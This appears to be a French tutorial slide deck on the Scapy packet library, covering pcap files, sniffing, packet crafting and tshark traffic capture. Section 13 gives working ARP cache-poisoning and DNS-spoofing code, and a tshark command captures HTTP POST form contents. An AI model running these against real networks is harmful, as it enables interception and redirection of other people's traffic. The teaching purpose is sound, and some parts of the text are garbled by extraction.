'dest-unreach': 3, On utilise la classe ICMP 3: 'dest-unreach',
'source-quench': 4, 4: 'source-quench',
'redirect': 5, 5: 'redirect',
'echo-request': 8, 8: 'echo-request',
'router-advertisement': 9, 9: 'router-advertisement',
'router-solicitation': 10, 10: 'router-solicitation',
'time-exceeded': 11, 11: 'time-exceeded',
'parameter-problem': 12, 12: 'parameter-problem',
'timestamp-request': 13, 13: 'timestamp-request',
'timestamp-reply': 14, 14: 'timestamp-reply',
'information-request': 15, 15: 'information-request',
'information-response': 16, 16: 'information-response',
'address-mask-request': 17, 17: 'address-mask-request',
'address-mask-reply': 18, 18: 'address-mask-reply',
'traceroute': 30, 30: 'traceroute',
'datagram-conversion-error': 31, 31: 'datagram-conversion-error',
'mobile-host-redirect': 32, 32: 'mobile-host-redirect',
'ipv6-where-are-you': 33, 33: 'ipv6-where-are-you',
'ipv6-i-am-here': 34, 34: 'ipv6-i-am-here',
'mobile-registration-request': 35, 35: 'mobile-registration-request',
Les fourberies de Scapy - P-FB

'mobile-registration-reply': 36, 36: 'mobile-registration-reply',


'domain-name-request': 37, 37: 'domain-name-request',
'domain-name-reply': 38, 38: 'domain-name-reply',
'skip': 39, 39: 'skip',
'photuris': 40} 40: 'photuris'}

Il faut ajouter s2i ou i2s au champs (qui est de type xxxEnumField comme indiqué par la com-
mande ls(ICMP)).
9 Scapy et fichier «pcap» 32
Avec Scapy, il est possible de lire des fichiers de capture de trafic réseau au format «pcap» utilisé par
WireShark :
>>> liste_paquets=rdpcap ("[Link]")

>>> liste_paquets
<[Link]: TCP:0 UDP:8 ICMP:0 Other:0>

>>> type(liste_paquets)
<type 'instance'>

>>> liste_paquets[0]
<Ether dst=00:0c:29:94:e6:26 src=00:0f:b0:55:9b:12 type=0x800
|<IP version=4L ihl=5L tos=0x0 len=56 id=28922 flags= frag=0L ttl=128
proto=udp chksum=0x575d src=[Link] dst=[Link]
options=[]
|<UDP sport=20000 dport=3478 len=36 chksum=0x5203
|<Raw load='\x00\x01\x00\x08&|+
\x88\xdcP\xc9\x08\x90\xdc\xefD\x02\xc3e<\x00\x03\x00\x04\x00\x00\x00\x00' |

>>> liste_paquets.__class__
<class [Link] at 0xa0eed7c>

La lecture du fichier crée un objet PacketList qui peut ensuite être parcouru à la manière d’une liste.
Les fourberies de Scapy - P-FB

On va pouvoir appliquer des opérations de filtrage dessus.

Attention : il est possible d’effectuer des opérations à la manière des listes standards de Python, comme
avec filter(fonction, liste), mais on perd des informations (comme l’heure de capture).
Les listes de paquets 33
Obtenir une description du trafic avec la méthode «nsummary()»

>>> liste_paquets.nsummary ()
0000 Ether / IP / UDP [Link]:20000 > [Link]:3478 / Raw
0001 Ether / IP / UDP [Link]:3478 > [Link]:20000 / Raw
0002 Ether / IP / UDP [Link]:20001 > [Link]:3478 / Raw
0003 Ether / IP / UDP [Link]:3478 > [Link]:20001 / Raw
0004 Ether / IP / UDP [Link]:20002 > [Link]:3478 / Raw

La méthode «summary()» n’indique pas le numéro du paquet au début.

Filtrage du contenu suivant la nature des paquets


⊳ avec la méthode «filter()» :
⋄ on doit fournir une fonction renvoyant vrai ou faux (une lambda fonction est le plus efficace) :
>>> liste_paquets.filter(lambda p: UDP in p)
<filtered [Link]: TCP:0 UDP:8 ICMP:0 Other:0>
>>> liste_paquets.filter(lambda p: TCP in p)
<filtered [Link]: TCP:0 UDP:0 ICMP:0 Other:0>
>>> liste_paquets.filter(lambda p: p[UDP].sport==3478)
Les fourberies de Scapy - P-FB

<filtered [Link]: TCP:0 UDP:4 ICMP:0 Other:0>

⊳ avec les «list comprehension» :


>>> ma_liste_de_paquets_udp = [ p for p in liste_paquets if UDP in p ]
10 Scapy et l’écoute réseau 34

Il est possible d’écouter le trafic passant sur un réseau :


>>> p=sniff(count=5)
>>> [Link]()
0000 Ether / IP / TCP [Link]:64321 > [Link]:www FA
0001 Ether / IP / TCP [Link]:64939 > [Link]:www FA
0002 Ether / IP / TCP [Link]:65196 > [Link]:imaps S
0003 Ether / IP / TCP [Link]:65196 > [Link]:imaps A
0004 Ether / IP / TCP [Link]:65196 > [Link]:imaps PA / Raw

On remarque que les drapeaux TCP sont indiqués.

Le paramètre count permet de limiter la capture à 5 paquets (0 indique «sans arrêt»).


def traiter_trame(p):
# affichage ou travail sur la trame

sniff(count = 0, prn = lambda p : traiter_trame(p))

Les paramètres :
Les fourberies de Scapy - P-FB

∘ prn permet de passer une fonction à appliquer sur chaque paquet reçu ;
∘ lfilter permet de donner une fonction Python de filtrage à appliquer lors de la capture ;
∘ filter permet de donner une expression de filtrage avec la syntaxe de tcpdump.
Attention : pour pouvoir sniffer le réseau, il faut lancer scapy ou le programme l’utilisant avec les droits
root (sudo python mon_programme.py).
11 Décomposition et composition de paquets 35

Si l’on dispose d’un paquet sous sa forme objet, il est possible d’obtenir :
sa composition avec Scapy :
>>> p=IP(dst="[Link]")/TCP(dport=53)
>>> p
<IP frag=0 proto=tcp dst=[Link] |<TCP dport=domain |>>
>>> bytes(p)
'E\x00\x00(\x00\x01\x00\x00@\x06\x14\xc4\xc0\xa8\x00\x0e\xa4Q\x01\x04\x00\x14\x005\x00\x00
\x00\x00\x00\x00\x00\x00P\x02 \x00)\x8e\x00\x00'

Ou de le décomposer depuis sa forme brute (chaîne d’octets) obtenue avec le cast bytes :
>>> g=bytes(p)
>>> IP(g)
<IP version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0L ttl=64 proto=tcp chksum=0x14c4
src=[Link] dst=[Link] options=[] |<TCP sport=ftp_data dport=domain seq=0 ack=0
dataofs=5L reserved=0L flags=S window=8192 chksum=0x298e urgptr=0 |

Enfin, certaines valeurs se définissent automatiquement :


Les fourberies de Scapy - P-FB

>>> p=Ether()/IP()/UDP()/DNS()/DNSQR()
>>> p
<Ether type=0x800 |<IP frag=0 proto=udp |<UDP sport=domain |<DNS |<DNSQR |>

Le port 53, ou domain a été définie par l’empilement d’un paquet DNS.
Positionner les options du datagramme IP 36
>>> IPOption Value Name Reference
IPOption IPOption_RR ----- ------------------------------- ------------
IPOption_Address_Extension IPOption_Router_Alert 0 EOOL - End of Options List [RFC791,JBP]
IPOption_EOL IPOption_SDBM 1 NOP - No Operation [RFC791,JBP]
IPOption_LSRR IPOption_SSRR 130 SEC - Security [RFC1108]
IPOption_MTU_Probe IPOption_Security 131 LSR - Loose Source Route [RFC791,JBP]
IPOption_MTU_Reply IPOption_Stream_Id 68 TS - Time Stamp [RFC791,JBP]
IPOption_NOP IPOption_Traceroute 133 E-SEC - Extended Security [RFC1108]
7 RR - Record Route [RFC791,JBP]
136 SID - Stream ID [RFC791,JBP]
137 SSR - Strict Source Route [RFC791,JBP]
10 ZSU - Experimental Measurement [ZSu]
11 MTUP - MTU Probe [RFC1191]
12 MTUR - MTU Reply [RFC1191]
205 FINN - Experimental Flow Control [Finn]
82 TR - Traceroute [RFC1393]
147 ADDEXT - Address Extension [Ullmann IPv7]
148 RTRALT - Router Alert [RFC2113]
149 SDB - Selective Directed Broadcast[Graff]
150 - Unassigned (Released 18 Oct 2005)
151 DPS - Dynamic Packet State [Malis]
152 UMP - Upstream Multicast Pkt. [Farinacci]
25 QS - Quick-Start [RFC4782]
Exemple

>>> IP(options=IPOption_Traceroute())
Les fourberies de Scapy - P-FB

>>> sr1(IP(options=[IPOption_Traceroute(originator_ip="[Link]")], ttl=2, dst="[Link]")/ICMP())


>>> ip=IP(src="[Link]", dst="[Link]", options=IPOption('\x83\x03\x10'))
Positionner les options 37
Les options de TCP
>>> TCPOptions
({0: ('EOL', None), 1: ('NOP', None), 2: ('MSS', '!H'), 3: ('WScale', '!B'),
4: ('SAckOK', None), 5: ('SAck', '!'), 8: ('Timestamp', '!II'), 14: ('AltChkSum', '!BH'),
15: ('AltChkSumOpt', None)}, {'AltChkSum': 14, 'AltChkSumOpt': 15, 'SAck': 5,
'Timestamp': 8, 'MSS': 2, 'NOP': 1, 'WScale': 3, 'SAckOK': 4, 'EOL': 0})
Chercher les options dans un paquet
for (nom,valeur) in pkt[TCP].options :
if nom == "WScale" :
print "Trouve !"
Attention
Pour vérifier que les options sont bien positionnées, il faut vérifier que Scapy a bien ajouté à la fin l’option EOL :
>>> [Link]=[('MSS', 1460), ('SAckOK', ''), ('Timestamp', (45653432, 0)), ('NOP', None)]
>>> t
<TCP sport=58636 dport=www seq=2631794892L ack=0 dataofs=10L reserved=0L flags=S window=14600
chksum=0xe643 urgptr=0 options=[('MSS', 1460), ('SAckOK', ''),
('Timestamp', (45653432, 0)), ('NOP', None)] |>
>>> [Link]
[('MSS', 1460), ('SAckOK', ''), ('Timestamp', (45653432, 0)), ('NOP', None)]
>>> t.show2()
###[ TCP ]###
sport= 58636
dport= www
seq= 2631794892L
Les fourberies de Scapy - P-FB

ack= 0
dataofs= 10L
reserved= 0L
flags= S
window= 14600
chksum= 0xe643
urgptr= 0
options= [('MSS', 1460), ('SAckOK', ''), ('Timestamp', (45653432, 0)), ('NOP', None), ('EOL', None)]
12 L’envoi de paquets 38

Il existe différentes fonctions :


□ de niveau 2 (couche liaison de données) :
⋄ sendp(paquet) pour envoyer des trames ;
⋄ reponse, non_repondu = srp(paquet) envoi et réception de trames ;
⋄ reponse = srp1(paquet) envoi d’une trame, obtention d’une seule réponse ;
□ de niveau 3 (couche IP) :
⋄ send(paquet) pour envoyer des paquets ;
⋄ reponse, non_repondu = sr(paquet) envoi et réception ;
⋄ reponse = sr1(paquet) envoi d’un paquet, réception d’une seule réponse.
Les paquets «non_repondu» sont importants car ils expriment soit un échec, soit un filtrage…

En général, les paquets de niveau 2 sont des trames Ether, mais pour des connexions sans fil, elles
peuvent être de type Dot11.

Les paquets de niveau 3 peuvent être de type IP, ARP, ICMP, etc.
Les fourberies de Scapy - P-FB
13 Quelques injections : ARP & DNS 39
On appelle «injection» l’envoi de paquets non ordinaires…
1 def arpcachepoison(cible, victime):
2 """Prends la place de la victime pour la cible"""
3 cible_mac = getmacbyip(cible)
4 p = Ether(dst=cible_mac) /ARP(op="who-has", psrc=victime, pdst=cible)
5 sendp(p)

Du DNS spoofing :
1 # on va sniffer le réseau sur eth0
2 # et réagir sur des paquets vers ou depuis le port 53
3 [Link](iface="eth0",count=1,filter="udp port 53",prn=procPacket)
4 # on va reprendre des infos présentes dans le paquet
5 def procPacket(p):
6 eth_layer = [Link](Ether)
7 src_mac, dst_mac = (eth_layer.src, eth_layer.dst)
8
9 ip_layer = [Link](IP)
10 src_ip, dst_ip = (ip_layer.src, ip_layer.dst)
11
12 udp_layer = [Link](UDP)
Les fourberies de Scapy - P-FB

13 src_port, dst_port = (udp_layer.sport, udp_layer.dport)


Ici, le paramètre filter est exprimé dans la même syntaxe que celle de l’outil TCPdump. On peut
utiliser une lambda fonction Python à la place.
Quelques injections : DNS – Suite 40

14 # on fabrique un nouveau paquet DNS en réponse


15 d = DNS()
16 [Link] = dns_layer.id #Transaction ID
17 [Link] = 1 #1 for Response
18 [Link] = 16
19 [Link] = 0
20 [Link] = 0
21 [Link] = 0
22 [Link] = 1
23 d.z = 8
24 [Link] = 0
25 [Link] = 1 #Question Count
26 [Link] = 1 #Answer Count
27 [Link] = 0 #No Name server info
28 [Link] = 0 #No additional records
29 [Link] = str(dns_layer.qd)
30
31 # Euh...On met [Link] pour éviter de mal utiliser ce code
32 [Link] = DNSRR(rrname="[Link].", ttl=330, type="A", rclass="IN",
33 rdata="[Link]")
34
35 spoofed = Ether(src=dst_mac, dst=src_mac)/IP(src=dst_ip, dst=src_ip)
Les fourberies de Scapy - P-FB

36 spoofed = spoofed/UDP(sport=dst_port, dport=src_port)/d


37 [Link](spoofed, iface_hint=src_ip)
14 Affichage descriptif d’un paquet 41
Soit le paquet suivant :
>>> a = Ether(src='00:c0:97:b0:d1:e0', dst='00:04:74:c5:01:f0', type=2054)/ARP(hwdst='00:04:74:c5:01:f0',
ptype=2048, hwtype=1, psrc='[Link]', hwlen=6, plen=4, pdst='[Link]',
hwsrc='00:c0:97:b0:d1:e0', op=2)
>>> [Link]('rep_a.pdf')

Ce qui produit l’affichage suivant :


00 04 74 c5 01 f0 00 c0 97 b0 d1 e0 08 06 00 01
Ethernet
08 00 06 04 00 02 00 c0 97 b0 d1 e0 c8 09 2c 81
dst 00:04:74:c5:01:f0
00 04 74 c5 01 f0 c8 09 29 60
src 00:c0:97:b0:d1:e0
type 0x806
ARP
hwtype 0x1
ptype 0x800
hwlen 6
plen 4
op is-at
hwsrc 00:c0:97:b0:d1:e0
psrc [Link]
hwdst 00:04:74:c5:01:f0
Les fourberies de Scapy - P-FB

pdst [Link]

Remarque : la méthode command permet de récupérer une chaîne de commande permettant de re-
créer le paquet : [Link](), par exemple.
15 Création automatique de collection de paquets 42

Il est possible de construire des paquets en faisant varier la valeur de certains champs :
>>> l=TCP()
>>> m=IP()/l
>>> m[TCP].flags = 'SA'
>>> m
<IP frag=0 proto=tcp |<TCP flags=SA |>>
>>> [Link]=(10,13)
>>> m
<IP frag=0 ttl=(10, 13) proto=tcp |<TCP flags=SA |>>
>>> [Link] = [80, 22]
>>> m
<IP frag=0 ttl=(10, 13) proto=tcp |<TCP dport=['www', 'ssh'] flags=SA |>>

On peut alors obtenir la liste complète des paquets :


>>> [p for p in m]
[<IP frag=0 ttl=10 proto=tcp |<TCP dport=www flags=SA |>>,
<IP frag=0 ttl=10 proto=tcp |<TCP dport=ssh flags=SA |>>,
<IP frag=0 ttl=11 proto=tcp |<TCP dport=www flags=SA |>>,
<IP frag=0 ttl=11 proto=tcp |<TCP dport=ssh flags=SA |>>,
<IP frag=0 ttl=12 proto=tcp |<TCP dport=www flags=SA |>>,
<IP frag=0 ttl=12 proto=tcp |<TCP dport=ssh flags=SA |>>,
<IP frag=0 ttl=13 proto=tcp |<TCP dport=www flags=SA |>>,
Les fourberies de Scapy - P-FB

<IP frag=0 ttl=13 proto=tcp |<TCP dport=ssh flags=SA |>>]

Il est possible de créer une liste de datagramme à destination d’un réseau exprimé en notation CIDR :
>>> liste_paquets = IP(dst='[Link]/24')
Création automatique de collection de paquets 43
Étudier la distribution des ISNs
>>> rep,non_rep = sr(IP(dst="[Link]")/TCP(flags='S',

sport=[RandShort()]*1000, dport=80),timeout=2)
Begin emission:
...
.*.*.*.*.*.*.*.*.*.*.*..*......*.*.**...*.*.
Finished to send 1000 packets.
*...*..*.*.*.*.*.*.*.*.*.*.*...*.*.*.
Received 2753 packets, got 808 answers, remaining 192 packets
>>> [Link](lambda p:p[1][TCP].seq)
<Gnuplot._Gnuplot.Gnuplot instance at 0x1098fe440>

On envoie 1000 paquets de ports source tirés au hasard.

Scapy propose des fonctions pour tirer aléatoirement toute sorte de valeur, par exemple pour faire du fuzzing de protocole :
RandASN1Object RandEnumLong RandIP6 RandOID RandSingByte RandSingShort
RandBin RandEnumSByte RandInt RandPool RandSingInt RandSingString
RandByte RandEnumSInt RandLong RandRegExp RandSingLong RandSingularity
RandChoice RandEnumSLong RandMAC RandSByte RandSingNum RandString
Les fourberies de Scapy - P-FB

RandDHCPOptions RandEnumSShort RandNum RandSInt RandSingSByte RandTermString


RandEnum RandEnumShort RandNumExpo RandSLong RandSingSInt RandomEnumeration
RandEnumByte RandField RandNumGamma RandSShort RandSingSLong
RandEnumInt RandIP RandNumGauss RandShort RandSingSShort
Création de fichier pcap 44
Scapy permet de créer des fichiers au format «pcap», ex. un «handshake» :
1 #!/usr/bin/python
2 from [Link] import *
3
4 client, serveur = ("[Link]", "[Link]")
5 clport, servport = (12346, 80)
6
7 # choix aleatoire des numeros de sequence initiaux, ISN
8 cl_isn, serv_isn = (1954, 5018)
9
10 ethservcl, ethclserv = ( Ether()/IP(src=server, dst=client), Ether()/IP(src=client, dst=server))
11
12 # creation du paquet SYN
13 syn_p = ethclserv/TCP(flags="S", sport=clport, dport=servport, seq=cl_isn)
14
15 # creation de la reponse SYN-ACK
16 synack_p = ethservcl/TCP(flags="SA", sport=servport, dport=clport, seq=serv_isn, ack=syn_p.ack+1)
17
18 # creation du ACK final
19 ack_p = ethclserv/TCP(flags="A", sport=clport, dport=servport, seq=syn_p.seq+1, ack=synack_p.seq+1)
20
21 data = "GET / HTTP/1.1\r\nHost: [Link]\r\n\r\n"
22
23 # creation du paquet de donnees
24 get_p = ethclserv/TCP(flags="PA", sport=clport, dport=servport, seq=ack_p.seq, ack=ack_p.ack)/data
25
Les fourberies de Scapy - P-FB

26 p_list = [syn_p, synack_p, ack_p, get_p]


27 wrpcap("[Link]", p_list)

Il est possible ensuite d’injecter ces paquets avec un débit supérieur à celui exploitable dans Scpay à l’aide de l’outil tcpreplay.
16 Échange de paquet de Wireshark vers Scapy 45

Il faut d’abord copier le paquet dans Wireshark,


en sélectionnant l’option «Bytes (Offset
Hex)».
Puis ensuite, il faut dans Scapy en mode inter-
actif, en fonction de la nature du paquet :
⊳ taper la commande en mode interactif :
p=RadioTap(import_hexcap())
pour un paquet WiFi,
p=Ether(import_hexcap())
pour un paquet Ethernet ;

⊳ coller le contenu du presse-papier ;

⊳ appuyer sur la touche «return» ;

⊳ puis sur la combinaison de touches «CTRL-D».


Les fourberies de Scapy - P-FB
Échange de paquet de tcpdump vers Scapy, puis termshark/wireshark 46

Interception de paquet avec tcpdump et «dump» en hexa de son contenu :


xterm
pef@tbao:~/ipv6_lab$ [r1] sudo tcpdump -i r1-eth1 -lnvvX option X ⟹ dump du paquet en hexa
tcpdump: listening on r1-eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
10:27:01.887723 IP6 (flowlabel 0xb6c70, hlim 64, next-header unknown (60) payload length:
1
92)
3001:1030:5329:6d2c::1 > 3001:1030:5329:6d2c::2: DSTOPT (opt_type 0x04: len=1)(padn) IP (tos
0x0, ttl 64, id 39165,
offset 0, flags [DF], proto ICMP (1), length 84)
2 3
[Link] > [Link]: ICMP echo request, id 34626, seq 1, length 64
0x0000: 600b 6c70 005c 3c40 3001 1030 5329 6d2c `.lp.\<@0..0S)m,
0x0010: 0000 0000 0000 0001 3001 1030 5329 6d2c ........0..0S)m,
0x0020: IPv6
datagramme 0000 0000
sans 0000
en-tête 0002 0400 0401 0401 0100 ................
de trame
0x0030: 4500 0054 98fd 4000 4001 bcf3 ac10 20fe E..T..@.@.......
0x0040: c0a8 5701 0800 6a28 8742 0001 55d5 6660 ..W...j(.B..U.f`
0x0050: 0000 0000 7e8b 0d00 0000 0000 1011 1213 ....~...........
0x0060: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .............!"#
0x0070: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
0x0080: 3435 3637 4567
^C
1 packet captured
1 packet received by filter
0 packets dropped by kernel

Ici, on intercepte un paquet IPv6 correspondant à un tunnel en IPv6 encapsulant des paquets Ipv4.
Les fourberies de Scapy - P-FB

⇒un paquet IPv6 est envoyé de 3001:1030:5329:6d2c::1 vers 3001:1030:5329:6d2c::2 ;


⇒le paquet IPv6 encapsule un paquet IPv4 de [Link] vers [Link] ;
⇒ce paquet IPv4 contient une requête ICMP.
Pour le passage dans Scapy ?
On copie/colle le contenu hexadécimal du contenu dans Scapy pour recomposer le datagramme IPv6.
Échange de paquet de tcpdump vers Scapy, puis termshark/wireshark 47

On copie/colle le contenu hexadécimal du contenu dans Scapy pour recomposer le datagramme IPv6,
en utilisant la fonction import_hexcap() :
xterm
1
>>> IPv6(import_hexcap())
0x0000: 600b 6c70 005c 3c40 3001 1030 5329 6d2c `.lp.\<@0..0S)m,
0x0010: 0000 0000 0000 0001 3001 1030 5329 6d2c ........0..0S)m,
0x0020: 0000 0000 0000 0002 0400 0401 0401 0100 ................
0x0030: 4500 0054 98fd 4000 4001 bcf3 ac10 20fe E..T..@.@.......
0x0040: c0a8 5701 0800 6a28 8742 0001 55d5 6660 ..W...j(.B..U.f`
0x0050: 0000 0000 7e8b 0d00 0000 0000 1011 1213 ....~...........
0x0060: 1415 1617 1819 1a1b 1c1d 1e1f 2021 2223 .............!"# ctrl-D pour finir l’entrée
0x0070: 2425 2627 2829 2a2b 2c2d 2e2f 3031 3233 $%&'()*+,-./0123
0x0080: 3435 3637 4567
<IPv6 version=6 tc=0 fl=748656 plen=92 nh=Destination Option Header hlim=64
src=3001:1030:5329:6d2c::1 dst=3001:1030:5329:6d2c::2 |<IPv6ExtHdrDestOpt nh=IP len=0
autopad=On options=[<HBHOptUnknown otype=Tunnel Encapsulation Limit [00: skip, 0: Don't
change en-route] optlen=1 optdata='\x04' |>, <PadN otype=PadN [00: skip, 0: Don't change
en-route] optlen=1 optdata='\x00' |>] |<IP version=4 ihl=5 tos=0x0 len=84 id=39165 flags=DF
frag=0 ttl=64 proto=icmp chksum=0xbcf3 src=[Link] dst=[Link] |<ICMP
type=echo-request code=0 chksum=0x6a28 id=0x8742 seq=0x1 |<Raw
load='U\xd5f`\x00\x00\x00\x00~\x8b\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x
!"#$%&\'()*+,-./01234567' |>>>>>

⇒On utiliser la classe IPv6 pour recomposer le paquet à partir de son sump hexa.
Les fourberies de Scapy - P-FB

On peut l’enregistrer dans un fichier «pcap» :


xterm
>>> wrpcap('[Link]',Ether()/p)

on crée un fichier «pcap» avec le datagramme et une en-tête ethernet bidon


Échange de paquet de tcpdump vers Scapy, puis termshark/wireshark 48

Le fichier «pcap» obtenu précédemment peut être lu par termshark ou wireshark :


Les fourberies de Scapy - P-FB

Ici, on utilise termshark qui est l’équivalent de wireshark mais en version terminal.
17 Pour faire des schémas légendés avec Gnuplot 49

a,b=sr(IP(dst="[Link]")/TCP(sport=[RandShort()]*100))
gp = [Link](persist=1)
[Link]("Analyse de la distribution des ISN")
[Link]("Numero paquet")
[Link]("ISN")
gp('set xrange [1:100]')
gp('set format y "%.0f"')
data=[Link](range(1,101),[x[1].seq for x in a],title="Envoi de SYN",with_="lines")
[Link](data)
[Link]('isn_distribution.ps')
Pour obtenir les bornes de l’ISN :
Analyse de la distribution des ISN >>> min([x[1].seq for x in a])
2644000000
Envoi de SYN 2625392796
2642000000 >>> max([x[1].seq for x in a])

2640000000
2644210715
>>> gp.set_range('yrange',(2625392796,2644210715))
2638000000

2636000000
ISN

2634000000

2632000000
Les fourberies de Scapy - P-FB

2630000000

2628000000

2626000000
10 20 30 40 50 60 70 80 90 100
Numero paquet
18 Capture et Analyse de trafic en temps réel avec tcpdump et tshark 50
Pourquoi ?
□ tcpdump et tshark connaissent un GRAND nombre de protocoles qu’ils peuvent «dissecter» : GSM, QUIC, etc. ;
□ ils peuvent s’interfacer facilement en ligne de commande ou au sein d’un programme Python ;
□ ils sont capable de traitement intelligent : reconnaissance de trafic, recomposition de flux : par exemple récupérer les
URLs demandées lors de requêtes HTTP.

Avec tshark
Récupération des données envoyées par la méthode POST en HTTP :
xterm
pef@cube:~$ tshark -li wlp1s0 1 -o "ip.use_geoip:FALSE" 2 -Y "[Link]==POST" 3 \
-Tfields 4 -e [Link] -e text
Capturing on 'wlp1s0'
[Link],[Link] POST /forms/d/e/1FAIpQLSehaHHjL3Ke8Y2Eg/formResponse HTTP/1.1\r\n,\r\n,
Form item: "entry" = "1234" 5

⇒⋄ l’option «l» permet de ne pas avoir de bufférisation sur les lignes en sorties de tshark ;
⋄ l’option «i» permet d’indiquer l’interface d’écoute
⇒enlève la récupération de géolocalisation fournie par l’AS du réseau ainsi que les coordonnées géographiques de son
routeur de sortie ;
⇒filtre d’affichage utilisé pour isoler les paquets contenant une méthode POST (HTTP, début de connexion, transmettant
Les fourberies de Scapy - P-FB

la requête POST) ;
⇒indication des champs que l’on veut récupérer en sortie ;
⇒récupération de l’adresse IP de la machine contactée, de la requête réalisée et des valeurs du formulaire HTML soumis :
Ici, le formulaire soumet un champ «entry» qui a pour valeur «1234», à un formulaire accessible suivant le chemin
«/forms/d/e/1FAIpQLSehaHHjL3Ke8Y2Eg/formResponse» .
Capture et Analyse de trafic en temps réel avec tcpdump et tshark 51
Un exemple plus complet : récupération du trafic HTTP en requête et réponse
xterm
pef@cube:~$ tshark -i wlp1s0 -l \
-f "tcp port 80" 1 \
-O http 2 \
-d [Link]==80,http 3 \
-o "ip.use_geoip:FALSE" -Y "not [Link].duplicate_ack" 4 \
-T fields -e [Link] -e [Link] -e [Link].full_uri -e [Link] -e [Link] \
-e [Link] -e http.content_length -e data -e text -E separator=';' 5
Capturing on 'wlp1s0'
[Link],[Link];42760,80;;;;;;;
[Link],[Link];42760,80;[Link] 6 GET;;;;;GET /GTS
GIAG3/MGkwZzBFMELBgkrBgEFBQcwAQE HTTP/1.1\r\n,\r\n
[Link],[Link];80,42760;;;;;;;
[Link],[Link];80,42760;;;200;OK;463;;HTTP/1.1 200 OK\r\n,\r\n
[Link],[Link];50517,80;[Link] / HTTP/1.1\r\n,\r\n

⇒l’option «-f» applique un filtre sur les paquets en entrée de tshark : réduit le nombre de paquets collectés ;
⇒sélectionne l’affichage du contenu pour le protocole HTTP ;
⇒l’option «-d» spécifie le protocole à utiliser en cas de changement de port : ici, on indique que le trafic intercepté sur
Les fourberies de Scapy - P-FB

le port 80 doit être analysé comme étant du HTTP, on pourrait par exemple forcer les ports 8080, 8000 en HTTP ;

⇒permet d’ignorer les segments TCP réémis qui pourraient perturber la recomposition de la connexion TCP ;
⇒on choisit le séparateur utilisé pour séparer les différents champs avec l’option «-E separator» : permet de faciliter le
travail de récupération des données en sortie de la commande ;

⇒on récupère l’URI complète, c-à-d avec l’adresse DNS du serveur contacté en plus de l’URL utilisée.
Capture et Analyse de trafic en temps réel avec tcpdump et tshark 52
xterm
$ sudo ip link wlxa0f3c11449ec down
$ sudo iw dev wlxa0f3c11449ec set monitor control 1
$ sudo ip link wlxa0f3c11449ec up
$ tshark -li wlxa0f3c11449ec -Y '[Link]=="FreeWifi_secure"' 2 \
-T fields 3 -e frame.time_relative 4 -e wlan_radio.signal_dbm 5
Capturing on 'wlxa0f3c11449ec'
0.032966700 -92
0.131535161 -92
...
1.311191333 -92
1.409504172 -91

⇒on passe l’interface WiFi en mode moniteur pour récupérer les trames de contrôle, comme les balises
ou «beacon» ;
⇒cette option permet de récupérer la valeur de certains champs des paquets, Ici, le nom du réseau
WiFi, son ssid, est utilisé pour filtrer les paquets :
le champs frame.time_relative : temps relatif par rapport au début de la capture ;
le champs wlan_radio.signal_dbm : mesure de la puissance reçue ;
Les fourberies de Scapy - P-FB

Valeur des champs


Le nom des champs peut être facilement récupéré dans WireShark, la version graphique de l’outil.
Il peut, malheureusement, varier suivants les technologies utilisées.
Capture et Analyse de trafic en temps réel avec tcpdump et tshark 53
Obtenir un graphe dynamique
⊳ récupération des balises d’annonce du réseau WiFi de SSID : «FreeWifi_secure» ;
⊳ récupération de la mesure de puissance du signal reçu ;
⊳ affichage d’un graphe en temps réel des variations de ce signal à l’aide de GnuPlot ;
Pour faire le traitement sur les données, on va utiliser la commande «AWK» :
∘ insérer une entête avec les commandes gnuplot : définir -50
"-"

un intervalle de valeur sur la puissance reçue mesurée en


dBm ;
∘ buffériser les mesures de puissance afin d’obtenir un -60

graphe indiquant la variation de celles-ci : on pourra par


exemple surveiller si on s’éloigne ou non du point d’accès
WiFi en lisant sur le graphe si la puissance augmente ou -70

bien diminue.
xterm
tshark -li wlxa0f3c11449ec -Y -80

'[Link]=="FreeWifi_secure"' -T fields -e
frame.time_relative -e wlan_radio.signal_dbm -E
separator=' ' \
| awk -v SAMPLES=10 -v PLOTCMD="set yrange
Les fourberies de Scapy - P-FB

[-100:-50];plot \"-\" with lines" 'BEGIN -90

{i=0;print PLOTCMD } {i++;print $0;if


(i==SAMPLES) {i=0;print "e";system("");print
PLOTCMD}}' \
| gnuplot -p
-100
9.8 10 10.2 10.4 10.6 10.8 11
19 Ajout de protocole 54

Scapy connait directement de nombreux protocoles, mais parfois il peut être nécessaire de lui ajouter
la connaissance d’un nouveau protocole.
Pour comprendre comment ajouter un protocole, regardons comment est implémenter un protocole
connu :
1 class UDP(Packet):
2 name = "UDP"
3 fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES),
4 ShortEnumField("dport", 53, UDP_SERVICES),
5 ShortField("len", None),
6 XShortField("chksum", None), ]
On voit que l’entête UDP est constituée de 4 «short» : entier sur 16bits (le préfixe X indique d’afficher la
valeur du champs en notation hexadécimale).

Il existe de nombreux «field» disponibles.

Essayons sur un nouveau protocole : le protocole STUN, «Session Traversal Utilities for (NAT)», RFC
5389.
Les fourberies de Scapy - P-FB
Description rapide de STUN 55
Les fourberies de Scapy - P-FB

[Link]
Exemple d’ajout de protocole : protocole STUN 56

Format de l’entête du paquet STUN, RFC 5389 :


0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|0 0| STUN Message Type | Message Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Magic Cookie |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| Transaction ID (96 bits) |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Ce qui donne :
1 class STUN(Packet):
2 name = "STUNPacket"
3 fields_desc=[ XShortEnumField("Type", 0x0001,
4 { 0x0001 : "Binding Request",
5 0x0002 : "Shared secret Request",
6 0x0101 : "Binding Response",
7 0x0102 : "Shared Secret Response",
8 0x0111 : "Binding Error Response",
